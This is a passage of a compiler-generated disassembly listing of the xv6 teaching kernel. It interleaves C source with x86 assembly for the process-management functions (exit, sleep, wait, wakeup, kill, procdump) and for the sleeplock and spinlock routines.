80103ae8: 8b 43 14 mov 0x14(%ebx),%eax
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103aeb: ba 54 2d 11 80 mov $0x80112d54,%edx
80103af0: eb 11 jmp 80103b03 <exit+0x83>
80103af2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103af8: 83 ea 80 sub $0xffffff80,%edx
80103afb: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b01: 74 1d je 80103b20 <exit+0xa0>
if(p->state == SLEEPING && p->chan == chan)
80103b03: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103b07: 75 ef jne 80103af8 <exit+0x78>
80103b09: 3b 42 20 cmp 0x20(%edx),%eax
80103b0c: 75 ea jne 80103af8 <exit+0x78>
p->state = RUNNABLE;
80103b0e: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103b15: 83 ea 80 sub $0xffffff80,%edx
80103b18: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b1e: 75 e3 jne 80103b03 <exit+0x83>
p->parent = initproc;
80103b20: a1 b8 a5 10 80 mov 0x8010a5b8,%eax
80103b25: b9 54 2d 11 80 mov $0x80112d54,%ecx
80103b2a: eb 0f jmp 80103b3b <exit+0xbb>
80103b2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103b30: 83 e9 80 sub $0xffffff80,%ecx
80103b33: 81 f9 54 4d 11 80 cmp $0x80114d54,%ecx
80103b39: 74 34 je 80103b6f <exit+0xef>
if(p->parent == curproc){
80103b3b: 39 59 14 cmp %ebx,0x14(%ecx)
80103b3e: 75 f0 jne 80103b30 <exit+0xb0>
if(p->state == ZOMBIE)
80103b40: 83 79 0c 05 cmpl $0x5,0xc(%ecx)
p->parent = initproc;
80103b44: 89 41 14 mov %eax,0x14(%ecx)
if(p->state == ZOMBIE)
80103b47: 75 e7 jne 80103b30 <exit+0xb0>
80103b49: ba 54 2d 11 80 mov $0x80112d54,%edx
80103b4e: eb 0b jmp 80103b5b <exit+0xdb>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103b50: 83 ea 80 sub $0xffffff80,%edx
80103b53: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103b59: 74 d5 je 80103b30 <exit+0xb0>
if(p->state == SLEEPING && p->chan == chan)
80103b5b: 83 7a 0c 02 cmpl $0x2,0xc(%edx)
80103b5f: 75 ef jne 80103b50 <exit+0xd0>
80103b61: 3b 42 20 cmp 0x20(%edx),%eax
80103b64: 75 ea jne 80103b50 <exit+0xd0>
p->state = RUNNABLE;
80103b66: c7 42 0c 03 00 00 00 movl $0x3,0xc(%edx)
80103b6d: eb e1 jmp 80103b50 <exit+0xd0>
curproc->state = ZOMBIE;
80103b6f: c7 43 0c 05 00 00 00 movl $0x5,0xc(%ebx)
sched();
80103b76: e8 65 fe ff ff call 801039e0 <sched>
panic("zombie exit");
80103b7b: c7 04 24 dd 73 10 80 movl $0x801073dd,(%esp)
80103b82: e8 d9 c7 ff ff call 80100360 <panic>
panic("init exiting");
80103b87: c7 04 24 d0 73 10 80 movl $0x801073d0,(%esp)
80103b8e: e8 cd c7 ff ff call 80100360 <panic>
80103b93: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103ba0 <yield>:
{
80103ba0: 55 push %ebp
80103ba1: 89 e5 mov %esp,%ebp
80103ba3: 83 ec 18 sub $0x18,%esp
acquire(&ptable.lock); //DOC: yieldlock
80103ba6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103bad: e8 6e 05 00 00 call 80104120 <acquire>
myproc()->state = RUNNABLE;
80103bb2: e8 c9 fa ff ff call 80103680 <myproc>
80103bb7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
sched();
80103bbe: e8 1d fe ff ff call 801039e0 <sched>
release(&ptable.lock);
80103bc3: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103bca: e8 41 06 00 00 call 80104210 <release>
}
80103bcf: c9 leave
80103bd0: c3 ret
80103bd1: eb 0d jmp 80103be0 <sleep>
80103bd3: 90 nop
80103bd4: 90 nop
80103bd5: 90 nop
80103bd6: 90 nop
80103bd7: 90 nop
80103bd8: 90 nop
80103bd9: 90 nop
80103bda: 90 nop
80103bdb: 90 nop
80103bdc: 90 nop
80103bdd: 90 nop
80103bde: 90 nop
80103bdf: 90 nop
80103be0 <sleep>:
{
80103be0: 55 push %ebp
80103be1: 89 e5 mov %esp,%ebp
80103be3: 57 push %edi
80103be4: 56 push %esi
80103be5: 53 push %ebx
80103be6: 83 ec 1c sub $0x1c,%esp
80103be9: 8b 7d 08 mov 0x8(%ebp),%edi
80103bec: 8b 75 0c mov 0xc(%ebp),%esi
struct proc *p = myproc();
80103bef: e8 8c fa ff ff call 80103680 <myproc>
if(p == 0)
80103bf4: 85 c0 test %eax,%eax
struct proc *p = myproc();
80103bf6: 89 c3 mov %eax,%ebx
if(p == 0)
80103bf8: 0f 84 7c 00 00 00 je 80103c7a <sleep+0x9a>
if(lk == 0)
80103bfe: 85 f6 test %esi,%esi
80103c00: 74 6c je 80103c6e <sleep+0x8e>
if(lk != &ptable.lock){ //DOC: sleeplock0
80103c02: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi
80103c08: 74 46 je 80103c50 <sleep+0x70>
acquire(&ptable.lock); //DOC: sleeplock1
80103c0a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c11: e8 0a 05 00 00 call 80104120 <acquire>
release(lk);
80103c16: 89 34 24 mov %esi,(%esp)
80103c19: e8 f2 05 00 00 call 80104210 <release>
p->chan = chan;
80103c1e: 89 7b 20 mov %edi,0x20(%ebx)
p->state = SLEEPING;
80103c21: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx)
sched();
80103c28: e8 b3 fd ff ff call 801039e0 <sched>
p->chan = 0;
80103c2d: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
release(&ptable.lock);
80103c34: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c3b: e8 d0 05 00 00 call 80104210 <release>
acquire(lk);
80103c40: 89 75 08 mov %esi,0x8(%ebp)
}
80103c43: 83 c4 1c add $0x1c,%esp
80103c46: 5b pop %ebx
80103c47: 5e pop %esi
80103c48: 5f pop %edi
80103c49: 5d pop %ebp
acquire(lk);
80103c4a: e9 d1 04 00 00 jmp 80104120 <acquire>
80103c4f: 90 nop
p->chan = chan;
80103c50: 89 78 20 mov %edi,0x20(%eax)
p->state = SLEEPING;
80103c53: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
sched();
80103c5a: e8 81 fd ff ff call 801039e0 <sched>
p->chan = 0;
80103c5f: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
}
80103c66: 83 c4 1c add $0x1c,%esp
80103c69: 5b pop %ebx
80103c6a: 5e pop %esi
80103c6b: 5f pop %edi
80103c6c: 5d pop %ebp
80103c6d: c3 ret
panic("sleep without lk");
80103c6e: c7 04 24 ef 73 10 80 movl $0x801073ef,(%esp)
80103c75: e8 e6 c6 ff ff call 80100360 <panic>
panic("sleep");
80103c7a: c7 04 24 e9 73 10 80 movl $0x801073e9,(%esp)
80103c81: e8 da c6 ff ff call 80100360 <panic>
80103c86: 8d 76 00 lea 0x0(%esi),%esi
80103c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103c90 <wait>:
{
80103c90: 55 push %ebp
80103c91: 89 e5 mov %esp,%ebp
80103c93: 56 push %esi
80103c94: 53 push %ebx
80103c95: 83 ec 10 sub $0x10,%esp
struct proc *curproc = myproc();
80103c98: e8 e3 f9 ff ff call 80103680 <myproc>
acquire(&ptable.lock);
80103c9d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
struct proc *curproc = myproc();
80103ca4: 89 c6 mov %eax,%esi
acquire(&ptable.lock);
80103ca6: e8 75 04 00 00 call 80104120 <acquire>
havekids = 0;
80103cab: 31 c0 xor %eax,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cad: bb 54 2d 11 80 mov $0x80112d54,%ebx
80103cb2: eb 0f jmp 80103cc3 <wait+0x33>
80103cb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103cb8: 83 eb 80 sub $0xffffff80,%ebx
80103cbb: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103cc1: 74 1d je 80103ce0 <wait+0x50>
if(p->parent != curproc)
80103cc3: 39 73 14 cmp %esi,0x14(%ebx)
80103cc6: 75 f0 jne 80103cb8 <wait+0x28>
if(p->state == ZOMBIE){
80103cc8: 83 7b 0c 05 cmpl $0x5,0xc(%ebx)
80103ccc: 74 2f je 80103cfd <wait+0x6d>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cce: 83 eb 80 sub $0xffffff80,%ebx
havekids = 1;
80103cd1: b8 01 00 00 00 mov $0x1,%eax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103cd6: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103cdc: 75 e5 jne 80103cc3 <wait+0x33>
80103cde: 66 90 xchg %ax,%ax
if(!havekids || curproc->killed){
80103ce0: 85 c0 test %eax,%eax
80103ce2: 74 6e je 80103d52 <wait+0xc2>
80103ce4: 8b 46 24 mov 0x24(%esi),%eax
80103ce7: 85 c0 test %eax,%eax
80103ce9: 75 67 jne 80103d52 <wait+0xc2>
sleep(curproc, &ptable.lock); //DOC: wait-sleep
80103ceb: c7 44 24 04 20 2d 11 movl $0x80112d20,0x4(%esp)
80103cf2: 80
80103cf3: 89 34 24 mov %esi,(%esp)
80103cf6: e8 e5 fe ff ff call 80103be0 <sleep>
}
80103cfb: eb ae jmp 80103cab <wait+0x1b>
kfree(p->kstack);
80103cfd: 8b 43 08 mov 0x8(%ebx),%eax
pid = p->pid;
80103d00: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103d03: 89 04 24 mov %eax,(%esp)
80103d06: e8 c5 e5 ff ff call 801022d0 <kfree>
freevm(p->pgdir);
80103d0b: 8b 43 04 mov 0x4(%ebx),%eax
p->kstack = 0;
80103d0e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103d15: 89 04 24 mov %eax,(%esp)
80103d18: e8 83 2c 00 00 call 801069a0 <freevm>
release(&ptable.lock);
80103d1d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
p->pid = 0;
80103d24: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80103d2b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
80103d32: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
80103d36: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80103d3d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
80103d44: e8 c7 04 00 00 call 80104210 <release>
}
80103d49: 83 c4 10 add $0x10,%esp
return pid;
80103d4c: 89 f0 mov %esi,%eax
}
80103d4e: 5b pop %ebx
80103d4f: 5e pop %esi
80103d50: 5d pop %ebp
80103d51: c3 ret
release(&ptable.lock);
80103d52: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d59: e8 b2 04 00 00 call 80104210 <release>
}
80103d5e: 83 c4 10 add $0x10,%esp
return -1;
80103d61: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103d66: 5b pop %ebx
80103d67: 5e pop %esi
80103d68: 5d pop %ebp
80103d69: c3 ret
80103d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103d70 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80103d70: 55 push %ebp
80103d71: 89 e5 mov %esp,%ebp
80103d73: 53 push %ebx
80103d74: 83 ec 14 sub $0x14,%esp
80103d77: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
80103d7a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103d81: e8 9a 03 00 00 call 80104120 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103d86: b8 54 2d 11 80 mov $0x80112d54,%eax
80103d8b: eb 0d jmp 80103d9a <wakeup+0x2a>
80103d8d: 8d 76 00 lea 0x0(%esi),%esi
80103d90: 83 e8 80 sub $0xffffff80,%eax
80103d93: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103d98: 74 1e je 80103db8 <wakeup+0x48>
if(p->state == SLEEPING && p->chan == chan)
80103d9a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103d9e: 75 f0 jne 80103d90 <wakeup+0x20>
80103da0: 3b 58 20 cmp 0x20(%eax),%ebx
80103da3: 75 eb jne 80103d90 <wakeup+0x20>
p->state = RUNNABLE;
80103da5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103dac: 83 e8 80 sub $0xffffff80,%eax
80103daf: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103db4: 75 e4 jne 80103d9a <wakeup+0x2a>
80103db6: 66 90 xchg %ax,%ax
wakeup1(chan);
release(&ptable.lock);
80103db8: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp)
}
80103dbf: 83 c4 14 add $0x14,%esp
80103dc2: 5b pop %ebx
80103dc3: 5d pop %ebp
release(&ptable.lock);
80103dc4: e9 47 04 00 00 jmp 80104210 <release>
80103dc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103dd0 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
80103dd0: 55 push %ebp
80103dd1: 89 e5 mov %esp,%ebp
80103dd3: 53 push %ebx
80103dd4: 83 ec 14 sub $0x14,%esp
80103dd7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
80103dda: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103de1: e8 3a 03 00 00 call 80104120 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103de6: b8 54 2d 11 80 mov $0x80112d54,%eax
80103deb: eb 0d jmp 80103dfa <kill+0x2a>
80103ded: 8d 76 00 lea 0x0(%esi),%esi
80103df0: 83 e8 80 sub $0xffffff80,%eax
80103df3: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103df8: 74 36 je 80103e30 <kill+0x60>
if(p->pid == pid){
80103dfa: 39 58 10 cmp %ebx,0x10(%eax)
80103dfd: 75 f1 jne 80103df0 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
80103dff: 83 78 0c 02 cmpl $0x2,0xc(%eax)
p->killed = 1;
80103e03: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
if(p->state == SLEEPING)
80103e0a: 74 14 je 80103e20 <kill+0x50>
p->state = RUNNABLE;
release(&ptable.lock);
80103e0c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e13: e8 f8 03 00 00 call 80104210 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
80103e18: 83 c4 14 add $0x14,%esp
return 0;
80103e1b: 31 c0 xor %eax,%eax
}
80103e1d: 5b pop %ebx
80103e1e: 5d pop %ebp
80103e1f: c3 ret
p->state = RUNNABLE;
80103e20: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
80103e27: eb e3 jmp 80103e0c <kill+0x3c>
80103e29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
80103e30: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103e37: e8 d4 03 00 00 call 80104210 <release>
}
80103e3c: 83 c4 14 add $0x14,%esp
return -1;
80103e3f: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103e44: 5b pop %ebx
80103e45: 5d pop %ebp
80103e46: c3 ret
80103e47: 89 f6 mov %esi,%esi
80103e49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103e50 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80103e50: 55 push %ebp
80103e51: 89 e5 mov %esp,%ebp
80103e53: 57 push %edi
80103e54: 56 push %esi
80103e55: 53 push %ebx
80103e56: bb c0 2d 11 80 mov $0x80112dc0,%ebx
80103e5b: 83 ec 4c sub $0x4c,%esp
80103e5e: 8d 75 e8 lea -0x18(%ebp),%esi
80103e61: eb 20 jmp 80103e83 <procdump+0x33>
80103e63: 90 nop
80103e64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80103e68: c7 04 24 db 77 10 80 movl $0x801077db,(%esp)
80103e6f: e8 dc c7 ff ff call 80100650 <cprintf>
80103e74: 83 eb 80 sub $0xffffff80,%ebx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e77: 81 fb c0 4d 11 80 cmp $0x80114dc0,%ebx
80103e7d: 0f 84 8d 00 00 00 je 80103f10 <procdump+0xc0>
if(p->state == UNUSED)
80103e83: 8b 43 a0 mov -0x60(%ebx),%eax
80103e86: 85 c0 test %eax,%eax
80103e88: 74 ea je 80103e74 <procdump+0x24>
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103e8a: 83 f8 05 cmp $0x5,%eax
state = "???";
80103e8d: ba 00 74 10 80 mov $0x80107400,%edx
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80103e92: 77 11 ja 80103ea5 <procdump+0x55>
80103e94: 8b 14 85 60 74 10 80 mov -0x7fef8ba0(,%eax,4),%edx
state = "???";
80103e9b: b8 00 74 10 80 mov $0x80107400,%eax
80103ea0: 85 d2 test %edx,%edx
80103ea2: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80103ea5: 8b 43 a4 mov -0x5c(%ebx),%eax
80103ea8: 89 5c 24 0c mov %ebx,0xc(%esp)
80103eac: 89 54 24 08 mov %edx,0x8(%esp)
80103eb0: c7 04 24 04 74 10 80 movl $0x80107404,(%esp)
80103eb7: 89 44 24 04 mov %eax,0x4(%esp)
80103ebb: e8 90 c7 ff ff call 80100650 <cprintf>
if(p->state == SLEEPING){
80103ec0: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
80103ec4: 75 a2 jne 80103e68 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
80103ec6: 8d 45 c0 lea -0x40(%ebp),%eax
80103ec9: 89 44 24 04 mov %eax,0x4(%esp)
80103ecd: 8b 43 b0 mov -0x50(%ebx),%eax
80103ed0: 8d 7d c0 lea -0x40(%ebp),%edi
80103ed3: 8b 40 0c mov 0xc(%eax),%eax
80103ed6: 83 c0 08 add $0x8,%eax
80103ed9: 89 04 24 mov %eax,(%esp)
80103edc: e8 6f 01 00 00 call 80104050 <getcallerpcs>
80103ee1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10 && pc[i] != 0; i++)
80103ee8: 8b 17 mov (%edi),%edx
80103eea: 85 d2 test %edx,%edx
80103eec: 0f 84 76 ff ff ff je 80103e68 <procdump+0x18>
cprintf(" %p", pc[i]);
80103ef2: 89 54 24 04 mov %edx,0x4(%esp)
80103ef6: 83 c7 04 add $0x4,%edi
80103ef9: c7 04 24 41 6e 10 80 movl $0x80106e41,(%esp)
80103f00: e8 4b c7 ff ff call 80100650 <cprintf>
for(i=0; i<10 && pc[i] != 0; i++)
80103f05: 39 f7 cmp %esi,%edi
80103f07: 75 df jne 80103ee8 <procdump+0x98>
80103f09: e9 5a ff ff ff jmp 80103e68 <procdump+0x18>
80103f0e: 66 90 xchg %ax,%ax
}
}
80103f10: 83 c4 4c add $0x4c,%esp
80103f13: 5b pop %ebx
80103f14: 5e pop %esi
80103f15: 5f pop %edi
80103f16: 5d pop %ebp
80103f17: c3 ret
80103f18: 66 90 xchg %ax,%ax
80103f1a: 66 90 xchg %ax,%ax
80103f1c: 66 90 xchg %ax,%ax
80103f1e: 66 90 xchg %ax,%ax
80103f20 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80103f20: 55 push %ebp
80103f21: 89 e5 mov %esp,%ebp
80103f23: 53 push %ebx
80103f24: 83 ec 14 sub $0x14,%esp
80103f27: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
80103f2a: c7 44 24 04 78 74 10 movl $0x80107478,0x4(%esp)
80103f31: 80
80103f32: 8d 43 04 lea 0x4(%ebx),%eax
80103f35: 89 04 24 mov %eax,(%esp)
80103f38: e8 f3 00 00 00 call 80104030 <initlock>
lk->name = name;
80103f3d: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
80103f40: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103f46: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
lk->name = name;
80103f4d: 89 43 38 mov %eax,0x38(%ebx)
}
80103f50: 83 c4 14 add $0x14,%esp
80103f53: 5b pop %ebx
80103f54: 5d pop %ebp
80103f55: c3 ret
80103f56: 8d 76 00 lea 0x0(%esi),%esi
80103f59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103f60 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80103f60: 55 push %ebp
80103f61: 89 e5 mov %esp,%ebp
80103f63: 56 push %esi
80103f64: 53 push %ebx
80103f65: 83 ec 10 sub $0x10,%esp
80103f68: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103f6b: 8d 73 04 lea 0x4(%ebx),%esi
80103f6e: 89 34 24 mov %esi,(%esp)
80103f71: e8 aa 01 00 00 call 80104120 <acquire>
while (lk->locked) {
80103f76: 8b 13 mov (%ebx),%edx
80103f78: 85 d2 test %edx,%edx
80103f7a: 74 16 je 80103f92 <acquiresleep+0x32>
80103f7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sleep(lk, &lk->lk);
80103f80: 89 74 24 04 mov %esi,0x4(%esp)
80103f84: 89 1c 24 mov %ebx,(%esp)
80103f87: e8 54 fc ff ff call 80103be0 <sleep>
while (lk->locked) {
80103f8c: 8b 03 mov (%ebx),%eax
80103f8e: 85 c0 test %eax,%eax
80103f90: 75 ee jne 80103f80 <acquiresleep+0x20>
}
lk->locked = 1;
80103f92: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = myproc()->pid;
80103f98: e8 e3 f6 ff ff call 80103680 <myproc>
80103f9d: 8b 40 10 mov 0x10(%eax),%eax
80103fa0: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80103fa3: 89 75 08 mov %esi,0x8(%ebp)
}
80103fa6: 83 c4 10 add $0x10,%esp
80103fa9: 5b pop %ebx
80103faa: 5e pop %esi
80103fab: 5d pop %ebp
release(&lk->lk);
80103fac: e9 5f 02 00 00 jmp 80104210 <release>
80103fb1: eb 0d jmp 80103fc0 <releasesleep>
80103fb3: 90 nop
80103fb4: 90 nop
80103fb5: 90 nop
80103fb6: 90 nop
80103fb7: 90 nop
80103fb8: 90 nop
80103fb9: 90 nop
80103fba: 90 nop
80103fbb: 90 nop
80103fbc: 90 nop
80103fbd: 90 nop
80103fbe: 90 nop
80103fbf: 90 nop
80103fc0 <releasesleep>:
void
releasesleep(struct sleeplock *lk)
{
80103fc0: 55 push %ebp
80103fc1: 89 e5 mov %esp,%ebp
80103fc3: 56 push %esi
80103fc4: 53 push %ebx
80103fc5: 83 ec 10 sub $0x10,%esp
80103fc8: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
80103fcb: 8d 73 04 lea 0x4(%ebx),%esi
80103fce: 89 34 24 mov %esi,(%esp)
80103fd1: e8 4a 01 00 00 call 80104120 <acquire>
lk->locked = 0;
80103fd6: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80103fdc: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
80103fe3: 89 1c 24 mov %ebx,(%esp)
80103fe6: e8 85 fd ff ff call 80103d70 <wakeup>
release(&lk->lk);
80103feb: 89 75 08 mov %esi,0x8(%ebp)
}
80103fee: 83 c4 10 add $0x10,%esp
80103ff1: 5b pop %ebx
80103ff2: 5e pop %esi
80103ff3: 5d pop %ebp
release(&lk->lk);
80103ff4: e9 17 02 00 00 jmp 80104210 <release>
80103ff9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104000 <holdingsleep>:
int
holdingsleep(struct sleeplock *lk)
{
80104000: 55 push %ebp
80104001: 89 e5 mov %esp,%ebp
80104003: 56 push %esi
80104004: 53 push %ebx
80104005: 83 ec 10 sub $0x10,%esp
80104008: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
8010400b: 8d 73 04 lea 0x4(%ebx),%esi
8010400e: 89 34 24 mov %esi,(%esp)
80104011: e8 0a 01 00 00 call 80104120 <acquire>
r = lk->locked;
80104016: 8b 1b mov (%ebx),%ebx
release(&lk->lk);
80104018: 89 34 24 mov %esi,(%esp)
8010401b: e8 f0 01 00 00 call 80104210 <release>
return r;
}
80104020: 83 c4 10 add $0x10,%esp
80104023: 89 d8 mov %ebx,%eax
80104025: 5b pop %ebx
80104026: 5e pop %esi
80104027: 5d pop %ebp
80104028: c3 ret
80104029: 66 90 xchg %ax,%ax
8010402b: 66 90 xchg %ax,%ax
8010402d: 66 90 xchg %ax,%ax
8010402f: 90 nop
80104030 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104030: 55 push %ebp
80104031: 89 e5 mov %esp,%ebp
80104033: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104036: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104039: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->name = name;
8010403f: 89 50 04 mov %edx,0x4(%eax)
lk->cpu = 0;
80104042: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104049: 5d pop %ebp
8010404a: c3 ret
8010404b: 90 nop
8010404c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104050 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104050: 55 push %ebp
80104051: 89 e5 mov %esp,%ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104053: 8b 45 08 mov 0x8(%ebp),%eax
{
80104056: 8b 4d 0c mov 0xc(%ebp),%ecx
80104059: 53 push %ebx
ebp = (uint*)v - 2;
8010405a: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
8010405d: 31 c0 xor %eax,%eax
8010405f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104060: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104066: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010406c: 77 1a ja 80104088 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010406e: 8b 5a 04 mov 0x4(%edx),%ebx
80104071: 89 1c 81 mov %ebx,(%ecx,%eax,4)
for(i = 0; i < 10; i++){
80104074: 83 c0 01 add $0x1,%eax
ebp = (uint*)ebp[0]; // saved %ebp
80104077: 8b 12 mov (%edx),%edx
for(i = 0; i < 10; i++){
80104079: 83 f8 0a cmp $0xa,%eax
8010407c: 75 e2 jne 80104060 <getcallerpcs+0x10>
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010407e: 5b pop %ebx
8010407f: 5d pop %ebp
80104080: c3 ret
80104081: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
pcs[i] = 0;
80104088: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
for(; i < 10; i++)
8010408f: 83 c0 01 add $0x1,%eax
80104092: 83 f8 0a cmp $0xa,%eax
80104095: 74 e7 je 8010407e <getcallerpcs+0x2e>
pcs[i] = 0;
80104097: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
for(; i < 10; i++)
8010409e: 83 c0 01 add $0x1,%eax
801040a1: 83 f8 0a cmp $0xa,%eax
801040a4: 75 e2 jne 80104088 <getcallerpcs+0x38>
801040a6: eb d6 jmp 8010407e <getcallerpcs+0x2e>
801040a8: 90 nop
801040a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801040b0 <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
801040b0: 55 push %ebp
return lock->locked && lock->cpu == mycpu();
801040b1: 31 c0 xor %eax,%eax
{
801040b3: 89 e5 mov %esp,%ebp
801040b5: 53 push %ebx
801040b6: 83 ec 04 sub $0x4,%esp
801040b9: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == mycpu();
801040bc: 8b 0a mov (%edx),%ecx
801040be: 85 c9 test %ecx,%ecx
801040c0: 74 10 je 801040d2 <holding+0x22>
